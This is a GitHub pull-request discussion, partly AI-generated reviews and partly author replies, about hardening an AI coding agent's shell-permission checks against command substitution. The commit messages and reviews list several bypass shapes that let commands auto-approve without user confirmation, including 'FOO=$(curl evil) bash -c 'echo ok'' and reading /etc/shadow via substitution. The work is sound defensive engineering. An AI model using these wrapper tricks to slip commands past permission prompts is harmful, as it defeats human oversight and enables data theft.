Comment thread packages/core/src/permissions/permission-manager.ts Outdated
Comment thread packages/core/src/core/coreToolScheduler.ts Outdated
Comment thread packages/core/src/core/coreToolScheduler.ts Outdated
Comment thread packages/core/src/tools/shell.test.ts

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Round 3 review (qwen3.7-max).

Skipped 2 overlap comments (coreToolScheduler.ts:814 and :797 — same findings as round 2). 4 prior noConflict comments from round 2 remain valid.

Non-diff findings:

  • coreToolScheduler.ts:~1896 — The hook-allow path (hookResult.shouldAllow) auto-approves without calling maybeLogSubstitutionBypass. Same audit gap as the PM allow rule issue below: substitution warnings are generated by getConfirmationDetails() but silently discarded when the hook grants permission.

  • coreToolScheduler.ts:~3297autoApproveCompatiblePendingTools sibling-tool ProceedAlways path also auto-approves on PM 'allow' without substitution audit.

— qwen3.7-max via Qwen Code /review

Comment thread packages/core/src/permissions/permission-manager.ts
Comment thread packages/core/src/permissions/permission-manager.ts
Comment thread packages/core/src/core/coreToolScheduler.ts Outdated
pomelo-nwu
pomelo-nwu previously approved these changes May 25, 2026

@pomelo-nwu pomelo-nwu left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM. Fix inconsistent command substitution permission handling — change from hard-deny to ask, allowing YOLO/auto modes to approve while still surfacing warnings to users.

LaZzyMan added 2 commits May 25, 2026 11:51
…4386 R4)

Round-4 critical findings from wenshao:

1. **AST substitution blind spots in non-`command` node types** —
   `evaluateStatementReadOnly` (shellAstParser.ts) only checked
   `containsCommandSubstitutionAST` inside the `command` node branch.
   Substitution living in OTHER node types slipped through as
   read-only, causing `resolveDefaultPermission` to return `'allow'`
   and `coreToolScheduler` to auto-approve silently. Verified blind
   spots (tests added):
     - `variable_assignment` / `variable_assignments`:
       `FOO=$(curl evil)` and `FOO=$(cat /etc/shadow) ls` were read-only
     - Backtick form: `FOO=\`cat /etc/shadow\`` was read-only

   The pre-PR #4386 regex check in `resolveDefaultPermission` was a
   safety net masking these AST gaps; removing it without patching
   the AST was a real security regression.

   Fix: hoist the `containsCommandSubstitutionAST` guard to the top
   of `evaluateStatementReadOnly` so every node type inherits the
   check in one place. Net behavior: substitution anywhere in the
   statement subtree marks the whole statement as non-read-only,
   matching the contract the function's docstring (and the comment
   in `resolveDefaultPermission`) already claimed.

   Tests follow Step 7.1 RED → fix → GREEN ordering: confirmed each
   of the 3 affected shapes was misclassified as read-only before
   the AST hoist, and all 4 cases pass after.

2. **Silent catch in `resolveDefaultPermission`** — the `try/catch`
   around `isShellCommandReadOnlyAST` swallowed parser exceptions
   without logging. With the regex safety net gone, the AST check is
   now the sole gatekeeper, so a parser regression would silently
   route every command to 'ask' with no trace. Added the same
   `debugLogger.warn` already used by the equivalent catches in
   `shell.ts` (line 1394) and `monitor.ts` (line 192).

3. **Misleading comment** in `resolveDefaultPermission` already
   asserted "the AST walker marks any node with a substitution
   expansion as non-read-only" — true post-fix, but false pre-fix.
   Updated to reference the load-bearing top-level guard in
   `shellAstParser.ts` so the claim is verifiable from one place.

Closes wenshao R4 findings: AST blind spots (`permission-manager.ts:417`
+ `shellAstParser.ts:884`), silent catch (`permission-manager.ts:415`).
…4386 R4)

Round-4 audit-log consistency fixes from wenshao:

1. **Dual-check stripped form in audit predicate** — round 3's
   `maybeLogSubstitutionBypass` only ran `detectCommandSubstitution`
   on the raw command, but `buildShellExecWarnings` (the
   confirmation-dialog warning helper extracted in round 3) checks
   BOTH the raw and the `stripShellWrapper`-stripped forms. For
   wrappers like `bash -c 'echo $(cat secret)'` the `$(` sits inside
   the outer single quotes, so raw-check returns false but the inner
   shell still expands the substitution. Result: dialog showed the
   warning, audit log silently dropped it — exactly the wrapper
   pattern an exfiltration attack would use. Refactored the helper
   to extract a pure predicate `shouldAuditSubstitutionBypass` that
   does the dual-check, exported for unit testing.

2. **JSDoc correction** — round 3's JSDoc claimed "DEBUG-level log
   here so the signal exists when `DEBUG=*` is set". Both clauses
   were wrong: the call uses `debugLogger.warn` (WARN level), and
   `debugLogger` is controlled by `QWEN_DEBUG_LOG_FILE` (active by
   default) rather than the `DEBUG=*` convention of the `debug` npm
   package. Rewrote the doc to match the real semantics.

3. **Audit log on three more auto-approve bypass paths** — round 3
   only covered the YOLO and auto-mode-`approved` bypasses, missing
   three other paths that auto-approve without invoking
   `getConfirmationDetails()`:
     - PM `'allow'` fast path (coreToolScheduler.ts:1664) — fires
       when an allow rule matches a substitution-bearing command
       (e.g. `allow Bash(python3 *)` + `python3 -c "$(...)"`).
     - permission-request hook `shouldAllow` (line ~1896) — fires
       when an external hook grants permission directly.
     - `autoApproveCompatiblePendingTools` sibling-tool ProceedAlways
       (line ~3300) — fires when one tool's user-issued ProceedAlways
       outcome rolls up to a sister tool. Uses `canonicalToolName`
       to normalise the legacy name in the audit log.

   New `SubstitutionBypassReason` discriminator union surfaces the
   bypass path in the log so operators can distinguish them.

4. **Unit test coverage** — added a `shouldAuditSubstitutionBypass`
   describe block to `coreToolScheduler.test.ts` covering all 8
   branches: non-shell tool, missing args, non-string command,
   absent substitution, direct substitution (shell + monitor), the
   load-bearing wrapper case (proves the dual-check works), backtick
   substitution, and env-prefix substitution.

Out of scope: reviewer also suggested forcing `'ask'` whenever
substitution is detected with a matching allow rule. Declined —
would partially re-introduce #4093 (substitution can't be allowed
via rules even with explicit user intent), and overrides the
allow-rule "trust this pattern" semantics. The audit-log extension
above gives operators the visibility they asked for without
overriding user-configured permission policy.

Closes wenshao R4 findings: dual-check (cids 3293074365, 3293075616),
JSDoc level/envvar (cids 3293074371, 3293075619), audit on PM-allow
(cid 3293078740 — partial), audit on hook + sibling-auto (rid 4351040390
non-diff), and test coverage for the predicate (cid 3293078758 — partial).
…al-check (#4386 R4)

Round-4 test-coverage findings from wenshao:

1. **env-prefix integration test in `shell.test.ts`** (cid 3293075622) —
   the `command substitution warning (issue #4093)` describe block in
   `shell.test.ts` covered `$()`, backticks, `<()`, `>()`, and the
   no-warning case, but had no test for the shape where
   `stripShellWrapper` strips the env-prefix + `bash -c` wrapper to
   yield a substitution-free inner command (`echo ok`) while the raw
   command has substitution in the env assignment
   (`FOO=$(cat secret.txt) bash -c 'echo ok'`). This is the exact
   shape that exercises the `|| detectCommandSubstitution(rawCommand)`
   branch of `buildShellExecWarnings` via integration through
   `getConfirmationDetails`. Without this test, removing the `||`
   clause wouldn't regress any case here.

2. **`buildShellExecWarnings` unit tests in `shell-utils.test.ts`**
   (cid 3293078758 second half) — round 3 extracted
   `buildShellExecWarnings` as an exported helper but added no direct
   unit test. Added a 5-case describe block covering: no substitution,
   stripped-form substitution, the env-prefix dual-check case (with
   a sanity-check that the stripped form actually lacks `$(` to make
   the dual-check load-bearing), backticks, and process substitution.
   These complement the integration tests in shell.test.ts /
   monitor.test.ts which exercise the helper through the tool
   confirmation paths.

Closes wenshao R4 findings: env-prefix integration test
(cid 3293075622), `buildShellExecWarnings` direct unit coverage
(cid 3293078758 — second half).
@LaZzyMan

Copy link
Copy Markdown
Collaborator Author

Round-4 review (@wenshao via qwen3.7-max) addressed in 3 commits + 8 distinct findings. Aggregate summary:

Critical correctness — 42debd13d:

  • AST substitution blind spots (cid 3293075613 + rid 4351034234): hoisted containsCommandSubstitutionAST guard to the top of evaluateStatementReadOnly so all 7 affected node types (variable_assignment, redirected_statement, pipeline, list, subshell, compound_statement, negated_command) inherit the check. FOO=$(curl evil) no longer slips through as read-only. RED→fix→GREEN ordering followed: 3 of 4 new AST tests RED pre-fix, all 4 GREEN post-fix.
  • Silent catch in resolveDefaultPermission (cid 3293078750): added the same debugLogger.warn already used by shell.ts and monitor.ts catches.
  • Misleading comment at permission-manager.ts:417: rewritten to reference the load-bearing top-level guard.

Audit log consistency — a24485029:

  • Dual-check stripped form in audit predicate (cids 3293074365 + 3293075616): extracted pure predicate shouldAuditSubstitutionBypass doing both raw and stripShellWrapper checks, matching buildShellExecWarnings. Audit log now fires on bash -c '$(...)'-style wrappers.
  • JSDoc level + envvar correction (cids 3293074371 + 3293075619): WARN-level, QWEN_DEBUG_LOG_FILE, default-active.
  • Audit on PM-allow + hook + sibling-auto paths (cid 3293078740 partial + rid 4351040390 non-diff): 3 additional auto-approve paths now log substitution bypass. SubstitutionBypassReason discriminator distinguishes yolo / auto-approve / allow-rule / hook / sibling-auto in the log line.
  • Force 'ask' on allow-rule + substitution (cid 3293078740 second half): declined — would partially re-introduce Bug: Command substitution denial is inconsistently applied and opaque #4093 (substitution can't be allowed even with explicit user intent) and override allow-rule "trust this pattern" semantics. Reviewer's regression framing is also partly incorrect: substitution + matching allow rule already auto-approved silently pre-PR fix(permissions): make command substitution ask, not deny (#4093) #4386 (since fb7e30a in March 2026 removed the L3 deny); this PR didn't introduce that path. The accepted audit-log half closes the visibility gap reviewer wanted.

Test coverage — 456291fd4:

  • env-prefix integration test (cid 3293075622): added the suggested test to shell.test.ts's command substitution warning (issue #4093) describe.
  • buildShellExecWarnings direct unit tests (cid 3293078758 partial): 5 cases in shell-utils.test.ts including the dual-check env-prefix case with a sanity-check that the stripped form lacks $(.
  • shouldAuditSubstitutionBypass unit tests (cid 3293078758 partial): 8 cases in coreToolScheduler.test.ts covering all guard branches.

All 9 inline threads resolved. 1227 tests passing across 18 test files in the touched area. Round-4 net: +291 LOC (61 critical + 158 audit + 73 tests).

…4386 R4 CI)

Round-4 commit a244850 added `import { ToolNames }` without checking
the file already had `import { ToolNames, ToolNamesMigration }` at line
35. Vitest's esbuild was permissive about the duplicate (silently used
the latter) so the test file passed locally and `npx tsc --noEmit` on
the package didn't complain either — but CI's `tsc --build` is strict
and errored with TS2300 "Duplicate identifier 'ToolNames'", taking down
Lint + all three test platforms + Coverage in one go (run 26382523711).

Removed the duplicate import. Verified locally via `rm -rf
packages/core/dist && npx tsc --build` (clean) + `npx vitest run`
(171/171 pass).

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Non-diff observation: maybeLogSubstitutionBypass is module-private in coreToolScheduler.ts and called at all 5 CLI-side bypass paths, but Session.ts (ACP path) has parallel bypass sites (~lines 1940, 1975, 2041, 2067) with zero audit-logging calls. ACP clients (VS Code extension, daemon) that auto-approve substitution-bearing commands via PM allow rules, AUTO mode, or hooks leave no forensic trace in the debug log. Consider extracting the audit predicate (shouldAuditSubstitutionBypass, already exported) into a shared location and calling it from Session.ts at each bypass site.

— qwen3.7-max via Qwen Code /review

Comment thread packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx
Comment thread packages/core/src/core/coreToolScheduler.ts Outdated
@LaZzyMan

Copy link
Copy Markdown
Collaborator Author

@wenshao thanks for the round-5 pass. All 3 findings (warning-width chrome, audit-log callId, ACP Session.ts audit sibling) are genuine but classify as observability / UI polish under the round-weighted-bar discipline this PR has been following. Filed #4509 capturing all three with the proposed fixes, so they're tracked cleanly without dragging PR #4386 (already 14× its original size after 4 review rounds + several reviewer-flagged sibling sweeps) into a round-6 polish loop.

Specifically on the Session.ts ACP sibling: real sibling-drift of the round-3 / round-4 audit-log expansion I did in coreToolScheduler.ts. The fix is ~50 LOC (extract the predicate + helper to a shared module + audit 4 ACP sites). I lean toward doing it as a focused follow-up rather than continuing the audit-log expansion in this PR, because:

  1. Round 5+ scope guard explicitly defaults observability gaps to follow-up.
  2. ACP Session.ts is a parallel surface that deserves its own targeted PR — interleaving it with the original L4 deny-fix muddies the bisect / revert story if anything goes wrong.
  3. The audit log being absent on ACP doesn't change behavior (substitution still executes consistently); it's a forensic-trail gap, not a correctness gap.

Both inline threads resolved, follow-up tracked in #4509. Holding the PR at its current scope for human review.

Comment thread packages/core/src/permissions/permission-manager.ts
Comment thread packages/core/src/permissions/permission-manager.ts
Comment thread packages/core/src/core/coreToolScheduler.ts Outdated
Comment thread packages/cli/src/nonInteractive/control/controllers/permissionController.ts Outdated
Comment thread packages/core/src/utils/shellAstParser.ts
Round-6 review caught a real Critical security regression my R0 +
R4 audits both missed.

**The bug.** `ShellToolInvocation.getDefaultPermission()` calls
`stripShellWrapper(this.params.command)` BEFORE the AST check. For
`FOO=$(curl evil) bash -c 'echo ok'`, `stripShellWrapper` discards the
env-prefix AND unwraps the `bash -c` wrapper, yielding `echo ok` — a
substitution-free residual that the AST classifies as read-only.
Result: L3 returns `'allow'` → coreToolScheduler fast-allow at
line 1664 auto-approves silently with no confirmation dialog and no
user-visible warning.

The R4 top-level AST guard (`evaluateStatementReadOnly` ↳
`containsCommandSubstitutionAST`) only catches substitution that
survives `stripShellWrapper` to enter the parsed tree. The env-prefix
+ wrapper shape gets stripped to nothing visible, so the AST guard is
asked to inspect a clean tree and returns true. The pre-#4386 regex
`detectCommandSubstitution` in `resolveDefaultPermission` was a safety
net masking exactly this gap — R0 removed it without recognising the
strip-before-check pattern.

Probe (vitest harness, real `isShellCommandReadOnlyAST`):
```
{
  raw: "FOO=`whoami` bash -c 'ls'",
  stripped: "ls",
  ast_on_stripped: true,   // ← classifies as read-only
  ast_on_raw: false        // ← R4 guard works on raw
}
```

**The fix — `hasShellSubstitution` single source of truth.**
Extracted dual-check predicate (`detectCommandSubstitution(raw) ||
detectCommandSubstitution(stripShellWrapper(raw))`) into
`shell-utils.ts hasShellSubstitution(rawCommand)`. The raw arm catches
the env-prefix-wrapper shape; the stripped arm catches the inside-
single-quoted-wrapper-body shape that R3 already documented. Single
predicate keeps detection semantics in lockstep across all surfaces.

Gates added at:
- `ShellToolInvocation.getDefaultPermission` (shell.ts:1384) — primary
  fix for the cited bug
- `shellReadOnlyChecker.ts evaluateShellSegment` (line 298) — regex
  fallback path has the same strip-before-check pattern; only hit when
  WASM parser fails, but same root cause
- `MonitorToolInvocation.getDefaultPermission` (monitor.ts:174) —
  belt-and-suspenders; `normalizeMonitorShellCommand`'s `safetyCommand`
  preserves env-prefix tokens so the AST already sees substitution
  there, but the gate parallels shell.ts in case
  `normalizeMonitorShellCommand`'s env-preservation ever regresses
- `PermissionManager.resolveDefaultPermission` (permission-manager.ts:413)
  — belt-and-suspenders; the raw command reaches the AST already, but
  the reviewer-requested gate makes the intent grep-discoverable

Refactor (Finding C, cid 3298521063): `buildShellExecWarnings` and
`shouldAuditSubstitutionBypass` both now delegate to
`hasShellSubstitution`, addressing the reviewer's concern that the
audit-log path and the UI-warning path were maintaining parallel
dual-check implementations that could silently diverge.

**Test-first per skill Step 7.1.** Two new tests in `shell.test.ts`
under `getDefaultPermission and getConfirmationDetails`:
- `asks (not allow) for env-prefix substitution inside a bash wrapper`
- `asks for backtick env-prefix substitution inside a bash wrapper`

Both confirmed RED pre-fix (`expected "ask" got "allow"`); GREEN
post-fix. Wider sweep (1262 tests across 19 files in permissions,
tools, utils, core, cli) all green; tsc --build clean (matching CI's
strict build).

Out of scope for this commit (deferred to follow-up #4509):
- R6 Finding B (dead catch blocks in resolveDefaultPermission / shell /
  monitor) — appended to #4509
- R6 Finding D (Record<string, unknown> cast in permissionController
  exec branch — could use discriminated-union narrow) — appended to #4509
- R6 Finding E (O(N×D) DFS in evaluateStatementReadOnly — could be
  hoisted to isShellCommandReadOnlyAST as O(N) root-level check) —
  appended to #4509

Closes wenshao R6 findings: env-prefix wrapper bypass (cid 3298521039 —
Critical, fixed) + dual-check DRY (cid 3298521063 — fixed as side
effect of A's refactor).

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Non-diff findings:

Test coverage gaps [Suggestion]:

  1. shellReadOnlyChecker.ts — the new detectCommandSubstitution(segment) check before stripShellWrapper in evaluateShellSegment has no test for the env-prefix bypass case (FOO=$(curl evil) bash -c 'echo ok') through the regex-fallback path. If this check is accidentally removed, the fallback misclassifies the command as read-only.
  2. coreToolScheduler.test.tsmaybeLogSubstitutionBypass (the actual debugLogger.warn emission) has zero integration tests. Only the pure predicate shouldAuditSubstitutionBypass is tested (8 cases). A refactor removing any of the 5 call sites would go undetected.
  3. permission-manager.test.ts — no PM-level test for the env-prefix wrapper pattern FOO=$(curl evil) bash -c 'echo ok' through resolveDefaultPermission.

— qwen3.7-max via Qwen Code /review

Comment thread packages/core/src/utils/shell-utils.ts
Comment thread packages/core/src/core/coreToolScheduler.ts Outdated
LaZzyMan added 3 commits May 26, 2026 13:58
…bstitution-deny

# Conflicts:
#	packages/cli/src/nonInteractive/control/controllers/permissionController.test.ts
Reverts:
- fd2cf08 "fix(core): log substitution audit trail on YOLO/auto bypass"
- a244850 "fix(core): extend substitution audit log + dual-check stripped form"

The audit-log infrastructure was originally added in R3 as a self-Codex
suggestion (forensic visibility when YOLO bypasses the substitution
warning) and extended in R4 to PM-allow / hook / sibling-auto paths.
None of this is what issue #4093 asked for — #4093 is purely about
making substitution `'ask'` instead of `'deny'` so YOLO can override
and the behavior is consistent across rule configurations. The audit
log is debug-only forensic polish on a UX warning, not part of the
permission-decision fix.

Each subsequent review round (R4/R5/R6/R7) then surfaced sibling-drift
findings on this infrastructure — PM-allow audit, hook audit, ACP
audit-log parity, callId enrichment, dual-check asymmetry, integration
tests — all of which were tracking the same out-of-scope addition.
Removing the infrastructure removes the surface entirely.

`hasShellSubstitution` (added in 5a5cfb4) is kept — it's still used
by `shell.ts` L3 substitution gate and `buildShellExecWarnings`, both
of which ARE in scope for #4093.
Surgical reverts that complement a5d9f08 (audit-log infrastructure
revert). These changes were accepted in earlier review rounds but were
out of scope for issue #4093 — a bug-fix PR whose stated goal is to
make command substitution `'ask'` instead of `'deny'` so YOLO can
override and the behavior is consistent across rule configurations.
Anything beyond that fix is unrelated to the bug and not this PR's
responsibility.

Removed:

1. **ACP `permissionUtils.ts`: `exec` branch in
   `buildPermissionRequestContent`** (R2, commit 7bb4205). The new
   `warnings` field propagation to ACP clients (VS Code extension,
   daemon) was UX polish on a different surface. Not what #4093 asked
   for. Plus the two regression tests in `permissionUtils.test.ts`.

2. **Non-interactive `permissionController.ts`: `case 'exec'`
   warning-suffix on the suggestion description** (R2, commit 7bb4205).
   Same pattern as above — warning propagation to daemon/API consumers
   on a non-primary surface. Plus the entire
   `buildPermissionSuggestions — exec warnings` describe block I added
   to `permissionController.test.ts` (R3, commit baa1e9f). Main's
   #4491 timeout tests (which merged in via 6342d28) are preserved.

3. **`monitor.ts` belt-and-suspenders `hasShellSubstitution` gate**
   (R6, commit 5a5cfb4). I added this with an explicit "if
   normalizeMonitorShellCommand's env-preservation ever regresses"
   justification — i.e. defense-in-depth on a non-existent bug. Not
   what #4093 asked for.

4. **`permission-manager.ts` belt-and-suspenders `hasShellSubstitution`
   gate at `resolveDefaultPermission`** (R6, commit 5a5cfb4). Same
   pattern — reviewer-requested gate on top of a code path the R4 AST
   guard already covered. Not what #4093 asked for.

What's kept (in scope for #4093):

- L4 `deny → ask` in `resolveDefaultPermission` (the actual fix)
- `warnings?: string[]` field on `ToolExecuteConfirmationDetails` +
  CLI rendering — #4093 explicitly asks for a user-visible reason
- `ShellToolInvocation.getDefaultPermission` env-prefix wrapper gate
  (R6, 5a5cfb4) — closes a real `'allow'` regression on substitution
- `shellReadOnlyChecker.ts` regex-fallback raw-check (R6, 5a5cfb4)
  — same root-cause bug on the WASM-fallback path
- AST top-level substitution guard in `evaluateStatementReadOnly`
  (R4, 42debd1) — closes real AST blind spots
- `hasShellSubstitution`, `buildShellExecWarnings`,
  `COMMAND_SUBSTITUTION_WARNING` helpers — still used by the above
- Monitor tool's `'deny' → 'ask'` alignment for substitution (R2,
  7bb4205) — same root-cause as the main fix
@LaZzyMan

Copy link
Copy Markdown
Collaborator Author

PR scope reset

After R7 review I realized this PR (originally a ~50 LOC 'deny' → 'ask' fix for issue #4093) had drifted to ~850 LOC across 11 commits, with most of that bloat being polish accepted in R2-R6 that wasn't actually what #4093 asked for. Specifically:

  • R3 self-Codex added a maybeLogSubstitutionBypass audit-log infrastructure (45 LOC), which then triggered R4 / R5 / R6 / R7 sibling-drift findings on PM-allow, hook, sibling-auto, ACP audit, callId enrichment, dual-check asymmetry, integration tests, isConcurrencySafe strip-before-check — ~540 LOC of cascading work on infrastructure that wasn't needed to fix Bug: Command substitution denial is inconsistently applied and opaque #4093.
  • R2 added warning propagation to ACP buildPermissionRequestContent + non-interactive permissionController description suffix. UX polish on non-primary surfaces, not what Bug: Command substitution denial is inconsistently applied and opaque #4093 asked for.
  • R6 added belt-and-suspenders hasShellSubstitution gates at monitor.ts + permission-manager.ts whose comments I explicitly admitted didn't change behavior (defense-in-depth on non-existent bugs).

Two new revert commits:

  • a5d9f087erevert: remove substitution audit-log infrastructure (reverts fd2cf080d + a24485029, −193 LOC). Removes maybeLogSubstitutionBypass + all 5 call sites + the shouldAuditSubstitutionBypass predicate + 8 unit tests + the SubstitutionBypassReason discriminator.
  • c6e130698cleanup: remove out-of-scope additions from R2/R3/R6 review (surgical, −229 LOC). Removes the ACP exec branch + non-interactive warningSuffix + my buildPermissionSuggestions test describe (keeping main's fix(sdk): honor canUseTool timeout in CLI control requests #4491 timeout tests from the merge) + the two belt-and-suspenders gates.

Net effect: −422 LOC. Current footprint vs main for #4093-related files is +218 LOC source, +426 LOC tests, across 14 files.

R7 findings — all out of scope, declined

# Finding Out-of-scope reason
A detectCommandSubstitution escape-bypass (\$, ANSI-C, line-continuation) Scanner accuracy on adversarial inputs. Pre-existing weakness. Not what #4093 asked for.
B isConcurrencySafe strip-before-check Scheduler batching policy, different feature surface from the permission decision. Pre-existing.
C.1 shellReadOnlyChecker env-prefix test Tests for behavior unrelated to the deny→ask decision.
C.2 maybeLogSubstitutionBypass integration test Tests audit-log infrastructure that's now reverted.
C.3 permission-manager.ts env-prefix test through resolveDefaultPermission Tests the belt-and-suspenders gate that's now reverted.

If any of these matter independently, please open separate issues — they're not within this PR's scope and I'm not tracking them as follow-ups.

What remains in scope and stays

  • L4 deny → ask in resolveDefaultPermission (the actual fix)
  • warnings?: string[] field on ToolExecuteConfirmationDetails + CLI rendering (issue Bug: Command substitution denial is inconsistently applied and opaque #4093 explicitly asks for a user-visible reason)
  • Monitor tool same deny → ask alignment (same root-cause)
  • R4 AST top-level substitution guard in evaluateStatementReadOnly — closes real variable_assignment / redirected_statement blind spots that left Bug: Command substitution denial is inconsistently applied and opaque #4093 incomplete
  • R6 env-prefix wrapper L3 gate in ShellToolInvocation.getDefaultPermission — closes the real 'allow' regression on FOO=$(...) bash -c '...'
  • R6 regex-fallback raw-check in shellReadOnlyChecker.ts — same root-cause bug on the WASM-fallback path
  • hasShellSubstitution, buildShellExecWarnings, COMMAND_SUBSTITUTION_WARNING helpers (used by the above)

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Round 7 review (qwen3.7-max) after the PR-scope reset (a5d9f087e + c6e130698). The surviving diff is focused and the three permission surfaces (ShellToolInvocation, MonitorToolInvocation, PermissionManager.resolveDefaultPermission) are behaviorally aligned on the current test corpus — no Critical findings. CI green 12/12; build + 817 tests across 7 PR-relevant suites pass.

Non-diff observation (test coverage): packages/core/src/utils/shellReadOnlyChecker.ts:306 adds a pre-stripShellWrapper detectCommandSubstitution(segment) guard in the regex-fallback path (evaluateShellSegment), explicitly documented as a defense-in-depth lockstep with the AST path. shellReadOnlyChecker.test.ts was NOT touched by this PR, and no test case there exercises the env-prefix bypass scenario (FOO=$(curl evil) bash -c 'echo ok') through the regex-fallback entry point. The same scenario is covered end-to-end via ShellToolInvocation.getDefaultPermission in shell.test.ts, but that path goes through the AST first; the regex fallback only fires when isShellCommandReadOnlyAST throws or returns an unclassified node type. Adding an it('rejects env-prefix substitution inside a shell wrapper (regex fallback)', ...) case against isShellCommandReadOnly directly would lock in the regex-fallback contract — otherwise a future edit that re-orders the detectCommandSubstitution(segment) / stripShellWrapper(segment) lines at shellReadOnlyChecker.ts:306-311 would not fail any test in that file.

Other low-confidence / nice-to-have findings (terminal-only, not posted):

  • buildShellExecWarnings (shell-utils.ts:1249) calls hasShellSubstitution(rawCommand) || detectCommandSubstitution(strippedCommand), but all current callers pass strippedCommand === stripShellWrapper(rawCommand), making the second disjunct provably redundant. Consider simplifying to a single-arg function or documenting when strippedCommand !== stripShellWrapper(rawCommand) is expected.
  • hasShellSubstitution (shell-utils.ts:1234) has a typeof rawCommand !== 'string' guard that is inconsistent with the rest of shell-utils.ts (callers all pass string); harmless but stylistically off-pattern.
  • The debugLogger.warn('AST read-only check failed, falling back to ask:', e) catch blocks at shell.ts / monitor.ts / permission-manager.ts are effectively dead code (isShellCommandReadOnlyAST catches internally and falls back to regex without rethrowing) — deferred to follow-up #4509 per round 3.

Comment thread packages/core/src/utils/shell-utils.ts
Comment thread packages/core/src/tools/monitor.ts
Comment thread packages/core/src/utils/shell-utils.test.ts

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Round 8 review (qwen3.7-max). Same commit as R7 (c6e130698). 2 new Suggestions on the surviving diff. CI all_pass 22/22; 639 tests pass across 4 PR-relevant suites (permission-manager 235, shell 202, monitor 73, shell-utils 129). Needs Human Review: (1) tree-sitter-bash misparses backtick command substitution inside parameter expansion forms (${VAR:-\whoami`}) — the AST produces a plain wordnode, notcommand_substitution, so containsCommandSubstitutionASTmisses it. This creates a narrow silent-execution path throughMonitorToolInvocationandPermissionManager.resolveDefaultPermission(neither has thehasShellSubstitutionpre-gate thatShellToolInvocationuses). Verified empirically in the worktree. Low confidence — the pattern is unusual andechoitself is harmless, butMonitor(FOO=$(curl evil) bash -c '...')or any command where the backtick output has side effects would auto-allow. (2) Stale(same logic as ShellToolInvocation.getDefaultPermission)comment at line 378 ofpermission-manager.ts` — pre-existing (not in diff), but the new JSDoc at line 399 makes the same claim with different wording. — qwen3.7-max via Qwen Code /review

Comment thread packages/core/src/permissions/permission-manager.ts
Comment thread packages/core/src/utils/shell-utils.ts
@LaZzyMan

Copy link
Copy Markdown
Collaborator Author

关于本 PR 的范围声明

本 PR (#4386) 的唯一目标是修复 #4093:把 command substitution($(...)、backticks、<(...)>(...))在三个 permission 路径(ShellToolInvocation.getDefaultPermissionMonitorToolInvocation.getDefaultPermissionPermissionManager.resolveDefaultPermission)上从 hard-deny 改为 ask,使其能被现有的 YOLO / approval mode 一致处理。

这是一个 bug fix PR,不是 refactor、不是 feature、也不是清理 PR。前几轮 review 让 PR 从一行核心改动膨胀到 ~850 LOC,这是不可接受的。已经在 a5d9f087ec6e130698 把跟 #4093 无关的部分 revert 掉。

本 PR 仅接受以下两类 review 反馈

  1. PR 没能或没完全修复 Bug: Command substitution denial is inconsistently applied and opaque #4093 所描述的 command substitution permission 问题
  2. PR 引入了其他功能的严重 bug

以下类别的建议本 PR 一律不会处理(也不会单独开 follow-up issue / PR)

  • 注释 / JSDoc 措辞精修、文档统一
  • Dead-code 清理、refactor、DRY 提取
  • Test coverage 扩展(包括为本 PR 接受的修复补 regression 测试以外的 case)
  • Observability / audit-log / debug-log 扩展
  • 风格 / 命名 / 一致性 nit
  • Hostile-provider defensive hardening(NaN 守卫、escape-bypass 检测等)
  • 性能打磨
  • 把新增字段 / warning 传播到非主要消费方(ACP、daemon、IDE 等)
  • Tree-sitter-bash 解析器在边界 case(如 ${VAR:-\whoami`}`)上的已有限制 —— 这是 parser 本身的局限,不是本 PR 引入的问题,reviewer 自标 "low confidence" + "echo itself is harmless"

如果你认为以上某条建议确有必要,请单独开 issue 或 PR 跟进,不要塞进本 PR。

请 reviewer

在提交本 PR 后续 review 之前,先明确本 PR 的目标是 #4093,然后只针对上面两类反馈提建议。所有跟 #4093 修复无关的建议会被一致 decline 并 resolve thread,不再单独解释每一条。

谢谢理解。

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Round 9 review (qwen3.7-max). Same commit as R8 (c6e130698). 1 new Suggestion on the surviving diff. CI all_pass 29/29; 639 tests pass across 4 PR-relevant suites (permission-manager 235, shell 202, monitor 73, shell-utils 129). Build green.

Note: git diff main...HEAD shows 31 files but gh pr diff shows 20 — the extra 11 (systemController, contextCommand, SDK timeout, etc.) are merge-base drift from main, not PR-author changes. This review only covers the 20 PR-scope files.

— qwen3.7-max via Qwen Code /review

Comment thread packages/core/src/utils/shellReadOnlyChecker.ts

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No issues found. LGTM. ✅ — qwen3.7-max via Qwen Code /review

@wenshao

wenshao commented May 27, 2026

Copy link
Copy Markdown
Collaborator

本地验证报告(maintainer review)

把 PR head 直接 git merge 到当前 origin/main641a1a739)做 "合并后状态" 模拟。Merge 干净(PR 已含 6342d2810 Merge ... main),diff 仍是 20 文件 +670/-54,与 PR 描述一致。

结论

✅ 建议 MERGE

  • 全部 11 个相关测试文件 923 / 923 在本机通过(core 7 × 831 + cli 4 × 92)。
  • 写了直驱 PermissionManager.evaluate(...) 的 19 项 real-I/O 断言(覆盖 PR 描述的 5 个 evidence 场景 + 7 个 PR 没列的边界场景),全部符合预期(详见 §3)。
  • 用 tmux + npm run dev 跑真 TUI,按 PR 描述的两条路径(DEFAULT 模式弹确认对话框 / YOLO 模式自动放行)+ 一条 R6 引入的高价值新场景(env-prefix wrapper bypassFOO=$(date +%Y) bash -c "echo done"),都跑通了(详见 §4)。
  • 发现 1 处 PR 描述的小文档误差(不阻塞 merge,建议作者顺手在 description 里改正,详见 §5)。

§1. 验证矩阵

检查 结果 备注
